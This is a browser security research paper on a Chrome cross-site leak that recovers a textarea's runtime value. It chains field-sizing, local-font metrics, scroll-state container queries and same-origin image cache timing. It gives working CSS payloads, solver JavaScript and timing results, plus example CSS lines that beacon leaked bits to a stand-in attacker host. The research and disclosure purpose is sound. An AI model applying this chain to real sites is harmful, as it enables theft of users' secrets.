Security Research
When `field-sizing` Turns Form Controls into Oracles: Leaking Runtime Values Through Layout and Cache State

Field sizing, local font metrics, scroll-state queries, and a same-origin cache XS-Leak
Abstract
CSS data-exfiltration techniques usually start with data already present in markup. An attribute selector can test an input's value attribute, a font can react to code points present in a text node, and a conditional image can report the result to an attacker-controlled server. None of those starting points fits a common application pattern: JavaScript fetches a secret after the document loads and assigns it only to a textarea's .value property. No secret-bearing attribute or text node matches a selector.
This paper studies a different path through Chrome. field-sizing: content makes a textarea's live value participate in intrinsic sizing. An attacker-defined @font-face can use a local monospace font,unicode-range, and size-adjust to turn membership in a candidate set into a glyph-width difference without downloading or constructing a font. Carefully chosen inline geometry converts that width difference into either horizontal overflow for the first position or one extra wrapped line for later positions. A scroll-state container query converts the settled overflow state into a same-origin image request. When outbound image requests are restricted by Content Security Policy, a fresh query token on an expensive cacheable image can retain the bit in the victim origin's HTTP cache. A cross-origin parent then measures a second victim document's load time without reading its DOM.
The individual pieces are not presented as new. Font-based CSS leakage, container measurements, cache timing, CSS image requests, and ordered recovery with crafted ligature fonts all have published precedents. The contribution examined here is their exact composition around a runtime-only form-control property, including a network-font-free binary classifier, a prefix-cancellation construction for positional recovery from one ordinary textarea, and a same-origin cache readout that continues to work when img-src permits only the victim origin. In the exact-combination search described later, I did not find a prior publication of this full chain. That is a bounded prior-art statement, not a claim that every component or every neighboring technique is new.
Scope
The work assumes an authorized test application or challenge. The controlled victim has these properties:
- a secret is assigned to
HTMLTextAreaElement.valueafter the page's initial load; - attacker-controlled CSS can enter the victim document through some independent bug;
- the page can be framed by a different origin;
- the victim origin has a computationally expensive, cacheable image route with attacker-controlled cache-busting parameters;
- the image policy permits the victim origin but not arbitrary external origins.
How the stylesheet enters the page is deliberately outside the research claim. It may be a style injection, a trusted renderer consuming attacker-controlled rule data, or another authorized test primitive. The measurement starts after that capability exists. It does not assume script execution in the victim origin, a DOM read, a CORS mistake, a service worker, a custom font file, or an attacker-controlled callback allowed by the victim's image policy.
The experiments target hexadecimal strings because four binary questions recover each character. The layout construction works with other finite alphabets when the chosen local font gives a stable baseline, and the candidate sets can be represented with unicode-range.
What is being claimed
It helps to state the claim before discussing mechanics.
The paper does not claim any of the following:
- that CSS can cause conditional image requests;
- that
unicode-rangecan expose character presence; - that text metrics can affect layout;
- that cache warmth can be timed cross-origin;
- that container queries can be used in a side channel;
- that ordered text recovery with fonts has no prior art;
- that post-layout scroll-state snapshots are undocumented;
- that the work proves universal behavior across every browser and platform.
The narrower claim is that Chrome joins several otherwise ordinary features into an ordered property-to-cache transducer:
runtime textarea.value
|
v
field-sizing: content
|
v
local-font unicode-range + size-adjust
|
v
position-specific overflow
|
v
settled scroll-state query
|
v
same-origin CSS image request
|
v
reusable HTTP-cache entry
|
v
cross-origin iframe load timingThe interesting parts are the joins. A property that selectors cannot inspect becomes intrinsic geometry. A code-point classifier that ordinarily loses order becomes position-specific through recovered-prefix cancellation. A self-only image policy removes the direct callback but leaves a durable same-origin state change. The parent observes that state without crossing the same-origin boundary.
Why a textarea property is a different target
Consider the following application code:
const response = await fetch("/api/account");
const account = await response.json();
document.querySelector("#credential").value = account.credential;The resulting textarea may still look like this in the document tree:
<textarea id="credential" readonly></textarea>The live value is not a value content attribute. This selector therefore tests the wrong object:
textarea[value^="a"] {
background-image: url("https://attacker.example/a");
}It does not become true when script changes .value. Reading textContent does not help either. The textarea's displayed value is maintained by form-control internals rather than copied into an attacker-selectable child text node.
Chrome still has to render the value. The HTML rendering rules for a textarea describe its shown raw value as input to rendering, and CSS Forms defines field-sizing: content so that the control's contents determine its intrinsic size. That creates a path which is not selector matching:
DOM property -> inner editor -> font shaping -> intrinsic size -> layoutThe implementation makes this path visible. HTMLTextAreaElement::SetValueCommon stores the normalized value, updates the inner editor, marks style work, and requests layout and intrinsic-width recalculation. TextControlInnerEditorElement::CustomStyleForLayoutObject carries the host's text style into that inner editor. ComputedStyle::ApplyControlFixedSize distinguishes the ordinary fixed-size mode from the content-sizing path.
This is the first security-relevant conversion: a value that CSS syntax cannot name still changes CSS-observable geometry.
Building a binary glyph classifier without a font download
The secret alphabet in the controlled application is:
0123456789abcdefFor a binary search, divide the current candidates into a lower and upper subset. The layout only needs to answer whether the target character belongs to one chosen subset.
The test face uses the same local monospace font as its fallback:
@font-face {
font-family: MetricProbe;
src: local("DejaVu Sans Mono");
unicode-range: U+38, U+39, U+61, U+62;
size-adjust: 133.2%;
}
#credential {
font: 20px/20px MetricProbe, "DejaVu Sans Mono";
}Characters in the listed range use the MetricProbe face. Other characters fall through to DejaVu Sans Mono. Both faces load from the machine. The only intended difference is that size-adjust scales the selected face's outlines and metrics, including its advance widths.
The relevant specifications describe the two operations separately:
unicode-rangelimits the code points for which a face may be used;size-adjustscales glyph outlines and metrics for a face.
Chrome constructs the code-point filter in FontFace::BuildUnicodeRangeVector, handles a local() source while initializing the CSS face in FontFace::InitCSSFontFace, and applies the size adjustment while producing font data in CSSFontFace::GetFontData. CSSFontFace::MaybeLoadFont checks whether the run intersects the face's ranges.
Let:
bbe the measured advance of an unmarked hexadecimal glyph;mbe the measured advance of a glyph selected by the adjusted face;t = (b + m) / 2be the decision threshold.
The solver rejects a local font unless all unmarked hexadecimal glyphs are within a small tolerance and m - b leaves a useful margin. In one test environment, the normal advance was about 12.046875px and the adjusted advance about 16.03125px. Those numbers are observations, not constants in the exploit. The solver measures them in the browser that will perform the extraction.
A simple calibration routine is:
async function chooseLocalMonospace() {
for (const name of ["DejaVu Sans Mono", "Monaco", "Courier New"]) {
const face = new FontFace("MetricProbeBase", `local("${name}")`);
try {
await face.load();
} catch {
continue;
}
document.fonts.add(face);
const width = measure("0", `20px MetricProbeBase`);
if (width > 5) return { name, width };
}
throw new Error("No suitable local monospace font");
}After installing the adjusted face, the solver measures all sixteen symbols. It checks that fifteen fallback characters share the baseline width and that one marked calibration character has a clear increase. This matters because a font name is not enough to guarantee identical metrics on every machine.
No custom font is served, parsed, or generated. The attacker supplies only CSS descriptors that tell Chrome how to select and scale a font already installed on the reviewer.
Turning the first character into horizontal overflow
The first position has a convenient property: it can be tested before any prefix is known.
The controlled style is:
#credential {
display: block;
box-sizing: content-box;
field-sizing: content;
inline-size: auto;
min-inline-size: 0;
max-inline-size: calc(100px + var(--threshold));
block-size: 40px;
min-block-size: 0;
max-block-size: none;
padding: 0;
border: 0;
margin: 0;
font: 20px/20px MetricProbe, "DejaVu Sans Mono";
resize: none;
overflow: auto;
white-space: pre-wrap;
word-break: break-all;
overflow-wrap: anywhere;
text-indent: 100px;
container-type: scroll-state;
}Call the positive indentI, where I = 100px. The maximum inline size is I + t.
On the first line, the indent consumes I. The first glyph then decides whether the content exceeds the cap:
unmarked: I + b < I + t
marked: I + m > I + tThe suffix is allowed to wrap at every character. It therefore moves to later lines instead of extending the first line's horizontal requirement. This gives the desired position-zero predicate:
first character outside subset -> no horizontal end overflow
first character inside subset -> horizontal end overflowThe scroll-state branch is attached to a pseudo-element:
@container scroll-state(scrollable: right) {
#credential::before {
content: "x";
background-image: url("/avatars/profile.avif?v=UNIQUE_TOKEN");
}
}Ordinary container queries cannot style the query container itself. The pseudo-element matters because Chrome's ContainerQueryEvaluator::DetermineStartingElement begins a pseudo-element's container lookup at its originating element. This lets the generated box query the textarea's scroll state while keeping the requested image out of the nonmatching branch.
The construction was tested with varied suffixes. Changing characters after position zero did not change the decision as long as the first character and test subset stayed fixed.
Recovering later positions without losing order
unicode-range matches code points wherever they appear. On its own, it can answer a presence question such as “does this value contain 8?” It cannot say whether the fifth character is 8.
The later-position construction uses the prefix already recovered by binary search. It cancels that prefix's measured width, places the next unknown character at a line-breaking threshold, and counts whether the remaining value occupies one additional line.
Assume the current target position is j, with zero-based indexing. Let:
Pbe the total rendered width of the known prefixvalue[0..j-1]under the current candidate subset;bandmhave the meanings defined above;t = (b + m) / 2;W = 5pxbe the textarea's inline size;L = 20pxbe the line height.
P must be recalculated for every subset test. A character in the known prefix may itself belong to the tested subset, in which case it contributesm, not b:
const prefixWidth = [...knownPrefix].reduce(
(sum, character) => sum + (subset.includes(character) ? m : b),
0,
);Let D be the magnitude of the negative first-line indent:
D = P + t - W
text-indent = -DIn CSS:
#credential {
display: block;
box-sizing: content-box;
field-sizing: content;
inline-size: 5px;
min-inline-size: 0;
max-inline-size: 5px;
block-size: auto;
min-block-size: 0;
max-block-size: none;
padding: 0;
border: 0;
margin: 0;
font: 20px/20px MetricProbe, "DejaVu Sans Mono";
resize: none;
overflow: hidden;
white-space: pre-wrap;
word-break: break-all;
overflow-wrap: anywhere;
text-indent: calc(-1 * var(--indent-magnitude));
}The negative indent shifts the start of the first line left. Its effective capacity becomes P + t. The known prefix consumes exactlyP, leaving threshold t for the next glyph:
unmarked next glyph: P + b < P + t -> remains on first line
marked next glyph: P + m > P + t -> wraps to a new lineEvery later suffix glyph is wider than the textarea's five-pixel line box, so each suffix character occupies one line in either case. The only difference is whether the target glyph consumed the remaining first-line capacity or moved down. The marked case therefore has exactly one additional line.
The surrounding panel becomes the scroll-state container:
.credential-panel {
display: block;
box-sizing: content-box;
inline-size: 5px;
block-size: calc((32 - var(--position)) * 20px + 10px);
padding: 0;
border: 0;
margin: 0;
overflow: auto;
scrollbar-width: none;
container-type: scroll-state;
}
@container scroll-state(scrollable: bottom) {
#credential {
background-image: url("/avatars/profile.avif?v=UNIQUE_TOKEN");
}
}The panel height is chosen between the two possible content heights. The unmarked layout fits. The marked layout is one line taller and gains bottom overflow.
This is the order-preserving step. It does not rely on contextual OpenType substitutions or a font generated for the current prefix. The recovered prefix is represented numerically as an indent, and Chrome's ordinary line breaker tests the next glyph.
Why the scroll-state result is a settled state
Scroll-state container queries use a post-layout snapshot. The CSS Conditional Rules specification describes the snapshot model and the scrollable query. That model can produce interesting lifecycle questions, but the extraction here does not require a stale snapshot or a race between old and new geometry.
For each page, the attacker installs one fixed geometry. Chrome lays out the textarea, updates the scroll-state snapshot, reevaluates affected style, and reaches a stable result. The requested bit corresponds to the final overflow state of that document.
The implementation order is visible in source:
LocalFrameView::UpdateLifecyclePhasesInternalruns style and layout, then the post-layout snapshot work.LocalFrameView::RunSnapshotPostLayoutStateStepsupdates registered snapshot clients and dirties style when their state changes.ScrollStateQuerySnapshot::UpdateSnapshotcompares the current offset with the scrollable area's minimum and maximum offsets and records the directions in which more scrolling is possible.ContainerQueryEvaluator::ApplyScrollStatemakes the snapshot available to query evaluation and invalidates the dependent style when necessary.
If the snapshot change dirties style, Chrome repeats the necessary lifecycle work. The exploit waits after page load before measuring the cache, so it does not depend on observing a half-finished style update.
There is a form-control-specific guard in the snapshot code. ScrollStateQuerySnapshot::UpdateSnapshot calls CanExposeScrollOffsets() for previewed form-control state. That restriction protects browser-managed preview data. A normal value assigned by application JavaScript is not preview state, so the controlled test remains on the ordinary scroll-offset path.
This distinction is important for the novelty statement. Documented snapshot lag is not counted as a finding, and no transient old-state fetch is needed for the attack.
The web-platform-test suite already covers the ordinary feature semantics, including a pseudo-element querying its originating scroll-state container and scrollability changing after layout. Those tests are useful controls for the browser behavior. They do not exercise a runtime textarea property, conditional image loading, or a retained cache readout.
From a matching branch to a network request
A side channel needs a side effect. A computed style that differs only inside an unreadable cross-origin frame is not enough.
When the query matches, the winning declaration contains a pending CSS image. ElementStyleResources::LoadPendingImages walks image-bearing properties after cascade resolution and resolves the images that survived. CSSImageValue::CacheImage prepares the request for a CSS image value. StyleImageCache::CacheImageContent reaches ImageResourceContent::Fetch.
The nonmatching branch has no selected image declaration for the unique token. It therefore does not take this fetch path. This gives a precise network predicate:
query false -> token URL is untouched
query true -> token URL is fetched as a victim-document CSS imageEach binary decision uses a new token. Reusing a token would turn an earlier true result into a false positive for later questions.
Keeping the signal when img-src is self-only
The familiar CSS exfiltration payload sends a request to an attacker host:
background-image: url("https://attacker.example/leak?bit=1");The controlled page blocks that shape:
img-src 'self'The conditional request therefore stays on the victim origin:
background-image: url("/avatars/profile.avif?v=7c7a...");The avatar route performs a genuine image transformation and returns a reusable response:
async function renderAvatar() {
return sharp(source)
.resize(256, 256, { fit: "cover" })
.avif({ quality: 58, effort: 4 })
.toBuffer();
}Cache-Control: public, max-age=600, immutableThis endpoint gives two useful properties:
- a cold request is measurably slower because the server performs real AVIF encoding;
- a completed request leaves a warm entry that another victim-origin document can reuse.
The first victim page is the secret-dependent primer. After it loads and the application assigns the textarea value, the solver waits long enough for style, layout, and a possible cold encode:
await navigateAccount(secretDependentQuery);
await sleep(primeWaitMs);The second victim page is the reader. Its stylesheet unconditionally replaces the normal profile image with the same token URL:
.profile img {
content: url("/avatars/profile.avif?v=7c7a...");
}The attacker-controlled parent measures only the iframe navigation:
const started = performance.now();
await navigateAccount(unconditionalReaderQuery);
const elapsed = performance.now() - started;If the first document requested the token, the second document completes with a warm image. If it did not, the reader triggers the first AVIF encode and finishes later. The cross-origin parent is allowed to attach an onload handler to the iframe even though it cannot inspect the iframe document.
The result is not an HTTP response body leak. It is one cache-presence bit produced and consumed inside the victim origin, with only elapsed navigation time crossing to the parent.
Cache partitioning and why the reader stays in a victim document
Modern Chrome partitions its HTTP cache. Chrome's cache-partitioning description explains that a cache key includes the top-level site and current-frame site in addition to the resource URL. Chromium represents this context in its NetworkIsolationKey.
Both the primer and reader in the controlled test have the same shape:
top-level site: attacker page
frame site: victim account origin
resource: victim avatar URL with unique tokenThey remain in one browser session under one top-level page. That preserves the relevant partition.
Several tempting readers did not work:
- a top-level or iframe navigation directly to the image URL did not observe the entry primed as an account-page CSS subresource;
- navigating an already-loaded account frame from the account document to an image document also missed the primed entry;
- an attacker-origin request was not a reliable substitute for the victim-document subresource request.
These negatives are useful. “Same URL” is not a sufficient model for cache reuse. The retained reader asks a second account document to request the image as a normal subresource under the same top-level and frame-site context as the primer. The experiments establish that this context works. They do not claim that one particular internal cache-key field alone explains every failed direct-navigation variant.
The full recovery algorithm
For each secret position:
- begin with the sixteen hexadecimal candidates;
- split the candidates into two subsets;
- install an adjusted local face whose
unicode-rangeis one subset; - calculate the threshold from measured baseline and marked advances;
- for position zero, use the horizontal first-glyph geometry;
- for later positions, calculate the current subset-dependent prefix width and use the negative-indent wrap geometry;
- assign a fresh avatar token;
- navigate the victim frame to the secret-dependent primer and wait for a possible cold encode to finish;
- navigate the same frame to the unconditional account reader and time its
loadevent; - classify the token as warm or cold;
- keep the subset selected by that bit and repeat until one character remains.
In pseudocode:
let recovered = "";
for (let position = 0; position < 32; position += 1) {
let candidates = [..."0123456789abcdef"];
while (candidates.length > 1) {
const split = Math.floor(candidates.length / 2);
const lower = candidates.slice(0, split);
const upper = candidates.slice(split);
const matchesUpper = await voteOnSubset({
position,
knownPrefix: recovered,
subset: upper,
});
candidates = matchesUpper ? upper : lower;
}
recovered += candidates[0];
}A hexadecimal character needs four logical decisions. A 32-character value needs 128 decisions. Reliability measures can multiply the number of page loads without changing the information bound.
Browsing-context reuse
Hundreds of new iframe elements create renderer churn and allow discarded documents to finish late work. The stable solver creates one 800-by-800 account iframe and navigates its browsing context repeatedly:
function replaceFrame(url, timeoutMs = 60_000) {
if (!frame) return createAndLoadFrame(url, timeoutMs);
return new Promise((resolve, reject) => {
const timeout = setTimeout(
() => reject(new Error(`Timed out loading ${url}`)),
timeoutMs,
);
frame.onload = () => {
clearTimeout(timeout);
resolve(frame);
};
frame.onerror = reject;
frame.contentWindow.location.replace(url);
});
}The parent cannot read contentWindow.location, but it can ask that window to navigate and wait for the element's next load event. location.replace() avoids adding hundreds of entries to the child frame's session history.
Every victim URL also receives a monotonically increasing navigation parameter. That prevents a repeated account URL from being treated as an accidental same-document or reused navigation:
function accountUrl(query) {
return `${ACCOUNT}/account?${query}&_navigation=${navigation++}`;
}A second tiny iframe is reserved for timing calibration. At longer checkpoints, the main iframe can be sent to about:blank, removed, and recreated after a short pause. The old render tree is released while the top-level page and cache partition remain stable.
Frame reuse is not the leak primitive. It makes a long cache-based extraction reproducible enough to study.
Timing calibration and voting
A hard-coded threshold is fragile. CPU contention, image-server load, renderer scheduling, and the host operating system all shift page-load time.
Before reading the secret, the solver calibrates with known cache states:
- load a victim document that unconditionally requests a fresh token and record the cold time;
- load the same shape with the same token and record the warm time;
- repeat until the warm/cold gap exceeds a minimum margin;
- place a cutoff between conservative representatives of the two groups.
The prime wait is based on the observed cold path:
primeWaitMs = Math.max(500, coldMs + 150);Without this wait, a true secret-dependent request can still be encoding when the reader begins. The reader then races the in-flight request or causes a classification near the threshold.
On a noisy host, each logical decision can use three independent tokens. Each token produces one warm/cold vote, and the majority selects the subset. Ambiguous values between conservative warm and cold limits are retried after recalibration.
An early continuous run recovered 31 of 32 characters. The missing decision had a real prime request, but one nominally warm account navigation took893ms, far beyond that run's roughly 48ms cutoff. Three independent tokens per decision removed that single-sample failure. The corrected macOS run completed all 128 decisions with 384 timed trials in 220,112ms. Warm observations were 8.9–24.0ms; cold observations were 86.5–147.3ms, with no overlap.
On native Linux, the gap was much wider. Two full runs completed in 249,830ms and 234,451ms. Their warm bands were 121.8–274.1ms and 126.8–222.7ms; their cold bands were 832.7–1147.0ms and 806.7–1021.3ms. One observation per logical decision was enough in those runs, again with no overlap.
Those measurements describe the controlled image endpoint and hardware. They are not universal Chrome timing constants.
Controlled reproduction
A minimal research setup needs two web origins and one attacker page.
The victim origin serves:
GET /account
GET /api/account
GET /avatars/profile.avif?v=<fresh token>/account contains a normal profile image and a textarea. Its script assigns the runtime value only after the window's load event:
window.addEventListener("load", async () => {
const response = await fetch("/api/account");
const { credential } = await response.json();
document.querySelector("#credential").value = credential;
}, { once: true });Delaying the property assignment until after load is an important control. If a cold conditional image is allowed to block the primer iframe's initial load, the parent can sometimes read the bit directly from that load delay. Post-load assignment removes that simpler oracle and forces the cache-retention stage.
The victim's policy can be:
default-src 'self';
script-src 'self';
style-src 'self' 'nonce-...';
img-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'none';
form-action 'none'The experiment assumes the CSS entry can create the rules described in this paper despite style-src; for example, a trusted style engine may serialize attacker-controlled rule data into its own nonce-authorized element. That entry mechanism should be tested separately and must not be counted as part of the field-sizing result.
The attacker origin serves a page which:
- calibrates a suitable local font;
- creates one victim iframe;
- generates one secret-dependent query per token;
- navigates the frame and observes only
load; - submits no requests to the victim API directly;
- never reads the frame DOM.
The cross-origin boundary can be checked explicitly:
try {
void frame.contentWindow.document;
throw new Error("unexpected same-origin access");
} catch (error) {
if (error.name !== "SecurityError") throw error;
}
if (frame.contentDocument !== null) {
throw new Error("cross-origin contentDocument should be null");
}The proof is complete only when the value recovered by the attacker page matches the value stored by the victim, while all direct DOM checks continue to fail.
Controls and falsification tests
The following controls separate the proposed chain from easier or accidental explanations.
| Control | Expected result | What it tests |
| --- | --- | --- |
| Secret only in .value, selector tests [value] | No match | Attribute exfiltration is not reading the property |
| field-sizing: fixed or omitted content sizing | No metric-dependent intrinsic result | Live value reaches geometry through field sizing |
| No adjusted @font-face | Both subsets use baseline width | The binary classifier comes from the face selection |
| Marked calibration symbol versus unmarked symbol | Clear width separation | Local face and size-adjust are active |
| Position-zero test with many different suffixes | Decision follows first glyph only | Suffix wrapping does not corrupt the first-position predicate |
| Later-position test with many suffixes | Decision follows target position only | Prefix cancellation preserves order |
| Recalculate P for each subset | Correct result | Known prefix may contain marked characters |
| Deliberately use baseline-only P | Misclassification for affected prefixes | Prefix accounting is necessary, not decorative |
| Fresh token per decision | Independent decisions | Prior cache entries cannot contaminate later bits |
| Cache-Control: no-store on avatar | Layout may request, cross-document timing bit disappears | Persistence depends on reusable cache state |
| Direct image navigation reader | Does not reproduce retained result | Same URL outside the working subresource context is insufficient |
| Second victim account document as reader | Warm/cold separation | Matching victim-document context reuses the entry |
| Assign secret before initial load | Easier iframe-load timing may appear | Why post-load assignment is required for the cache stage |
| Assign secret after load | Initial iframe load does not reveal the bit | Retained signal comes from the later cache probe |
| No scroll-state branch | No conditional token request | Geometry alone is unreadable cross-origin |
| Stable final geometry, long wait before probe | Same answer | Snapshot races are unnecessary |
| One timing sample on a noisy host | Occasional error | Single observations are not always reliable |
| Three independent tokens and majority | Stable decision | Voting handles outlier navigations |
The layout itself was checked more broadly than one example. The first-position geometry was exercised across marked and unmarked symbols with varied suffixes. Later-position tests covered all hexadecimal target symbols and suffix combinations across the tested positions. The controlled matrix contained 48 first-position cases and 1,488 later-position cases, all classified as expected.
Failed shortcuts and failed optimizations
Negative results shaped the final technique.
Attribute selectors
They never see a value that exists only as the textarea's live property. Adding a value attribute makes the challenge easier and changes the research question.
Character-presence fonts
A unicode-range face applied to the whole value says only that some matching code point was shaped. It loses position. The negative-indent construction was needed to isolate a later index.
External reporting URLs
They are blocked by img-src 'self'. The same-origin token and cache reader are not optional in this policy.
Direct image navigation
Direct navigation produced its own cold/warm behavior but did not read the entry primed by the account page's CSS image. It recovered the false branch repeatedly. The successful reader remained an account document and requested the token as a subresource.
Measuring the primer's initial load
When the secret is present early enough, a conditional cold image can delay the primer iframe itself. Assigning the credential only after load closes that shortcut. The solver must wait for the later style change and then measure a separate document.
Three images in parallel
Combining three votes into one page with three unique avatar URLs looked faster. It failed on Linux because three Sharp encodes contended. The prime wait had been calibrated against one cold encode; the frame was replaced before the contended responses completed into reusable cache entries. Sequential independent tokens were slower and reliable.
Transient snapshot tricks
Content-visibility, remembered intrinsic sizes, and old scroll-state snapshots can create transient resource-loading questions. They were not needed here. More importantly, broad CSS control could observe the ordinary settled geometry earlier in the tested variants, making the transient boundary optional. This paper excludes those experiments from its claim.
Prior art
The closest publications divide into four groups.
Attribute and callback-based CSS exfiltration
PortSwigger's Blind CSS Exfiltration demonstrates systematic data recovery with selectors, CSS rules, and attacker-observable resource requests. It is directly relevant to the reporting pattern. Its ordinary starting point is data represented in markup or otherwise addressable by selectors. A runtime-only textarea property removes that starting point.
Many older CSS-exfiltration demonstrations also use one attacker URL per selector result. The self-only image policy in this test removes that callback and requires a victim-origin state carrier.
Font and layout-based ordered recovery
Two publications are especially close. Fontleak, with its public implementation, uses a carefully constructed OpenType ligature font, container measurements, and attacker-observable requests to recover ordered text nodes, including text in inline scripts. Its substitution rules encode a requested character position into a glyph width. This already establishes fast, ordered CSS text extraction with font shaping.
Styled to Steal: The Overlooked Attack Surface in Email Clients, with its research artifact, recovers ordered text through CSS using generated OpenType behavior, contextual ligatures, lazy font loading, size/container measurements, animation, and outbound requests. It extends the approach into a single-rendering-pass email attack and dynamically builds ligatures from the prefix already recovered.
Together, these works make the boundary unambiguous: ordered font-based CSS recovery is already published.
The present construction differs in the exact target and machinery:
| Ligature-based work | This work |
| --- | --- |
| Text nodes or rendered plaintext exposed to font shaping | Runtime value held only by a textarea property |
| Generated or crafted font behavior encodes an index, prefix, or next character | Same installed monospace font on both branches |
| OpenType substitutions preserve order | Negative indent cancels measured recovered prefix |
| Size/container state participates in reporting | Scrollability is the binary layout state |
| Attacker-observable remote requests | Victim-only request retained in a same-origin cache |
| Network font machinery is part of the decoder | local(), unicode-range, and size-adjust; no font download |
The comparison prevents an inflated claim. “Ordered CSS extraction using fonts and layout” is not new. The specific property-to-cache construction remains distinct in the searches performed for this paper.
Cache probing
The XS-Leaks cache probing documentation describes the long-standing idea that the presence of a cache entry can reveal state through timing or observable loading behavior. Generic cache probing is not the contribution here.
The relevant addition is the producer and context: settled scroll-state conditionally creates a victim-origin image entry from a runtime form-control value, then another victim document reads that entry inside the same partition because direct image contexts did not reproduce it.
Form controls and scroll-state security reports
Chromium issue 517110749 covers autofill preview data exposed through CSS scroll-state container queries. Chrome added a form-control check so preview scroll offsets are not exposed. Chromium issue 518023156 describes a related autofill-preview identity leak through scroll markers. Chromium issue 562225118 concerns field-sizing and autofill preview state.
These reports are close in feature area and must be acknowledged. They concern browser-managed preview state and direct form-control state inconsistencies. The controlled technique here uses a normal application-assigned value, converts selected glyph metrics into author-created overflow, recovers positions, and retains each answer in the HTTP cache.
The CSS Working Group's control-value() discussion is also informative. A direct CSS function exposing a control's value raises obvious privacy concerns and is discussed with tainting restrictions that prevent values from feeding URL requests. field-sizing does not return the string to CSS. It indirectly exposes enough geometry for the chain studied here.
Prior-art search method and its limit
The search covered specifications, Chromium source, Chromium security issues, web-platform-test references, CSSWG discussions, academic papers, browser-security writeups, and combinations of these terms:
"field-sizing: content" XS-Leak
"field-sizing" CSS exfiltration
"field-sizing" "scroll-state" security
"textarea.value" "field-sizing" leak
"size-adjust" "scroll-state" exfiltration
runtime textarea property CSS side channel
scroll-state cache image request form control
negative text-indent prefix CSS exfiltrationThe search found the adjacent work described above, especially Fontleak, Styled to Steal, and the form-control scroll-state reports. It did not find a publication combining all of the following:
- runtime-only textarea
.valueas the source; field-sizing: contentas the property-to-geometry bridge;- a local, network-free
unicode-rangeplussize-adjustclassifier; - positional recovery by numeric cancellation of a known prefix;
- settled scroll-state as the conditional image selector;
- a self-only victim image request retained as cache state;
- cross-origin timing of a second victim document in the matching cache context.
A search can miss unpublished work, private reports, differently named techniques, or material not indexed by the services queried. The defensible wording is therefore: in this exact-combination search, no prior publication of the full chain was found. The paper does not use “first ever” or treat missing search results as proof.
Source map
The following links anchor the main browser behaviors used by the analysis:
| Behavior | Specification or implementation |
| --- | --- |
| Content-based form sizing | CSS Forms: field-sizing |
| Textarea live value reaches inner editor and layout | HTMLTextAreaElement::SetValueCommon |
| Inner editor inherits host text style | TextControlInnerEditorElement::CustomStyleForLayoutObject |
| Fixed versus content-sized control mode | ComputedStyle::ApplyControlFixedSize |
| Font code-point selection | CSS Fonts: unicode-range |
| Font metric scaling | CSS Fonts: size-adjust |
| Font range construction | FontFace::BuildUnicodeRangeVector |
| Local font source setup | FontFace::InitCSSFontFace |
| Size adjustment in font data | CSSFontFace::GetFontData |
| Scroll-state model | CSS Conditional Rules: scroll-state containers |
| Post-layout snapshot update | LocalFrameView::RunSnapshotPostLayoutStateSteps |
| Scrollable-direction snapshot | ScrollStateQuerySnapshot::UpdateSnapshot |
| Query application | ContainerQueryEvaluator::ApplyScrollState |
| Pseudo-element container lookup | ContainerQueryEvaluator::DetermineStartingElement |
| Pending CSS image resolution | ElementStyleResources::LoadPendingImages |
| CSS image request setup | CSSImageValue::CacheImage |
| Image resource fetch | StyleImageCache::CacheImageContent |
| HTTP cache partitioning | Chrome cache-partitioning overview and NetworkIsolationKey |
Conclusion
A textarea's runtime value is not invisible to CSS merely because selectors cannot name it. Once content-based field sizing is enabled, the value participates in text shaping and intrinsic geometry. A local adjusted face can classify candidate code points, and controlled wrapping can preserve character order without a generated font. Scroll-state turns the final geometry into a conditional same-origin request. The HTTP cache carries that bit across victim documents, and iframe load timing exposes it to a parent that never reads the victim DOM.
The exact composition is the research result. Its building blocks have substantial prior art, particularly ordered font-based extraction and cache probing. The distinction is the path from a live form-control property to a settled scroll-state decision, then through a self-only victim cache rather than a direct attacker callback. That narrower statement is both more accurate and more useful for evaluating the browser and application boundaries involved.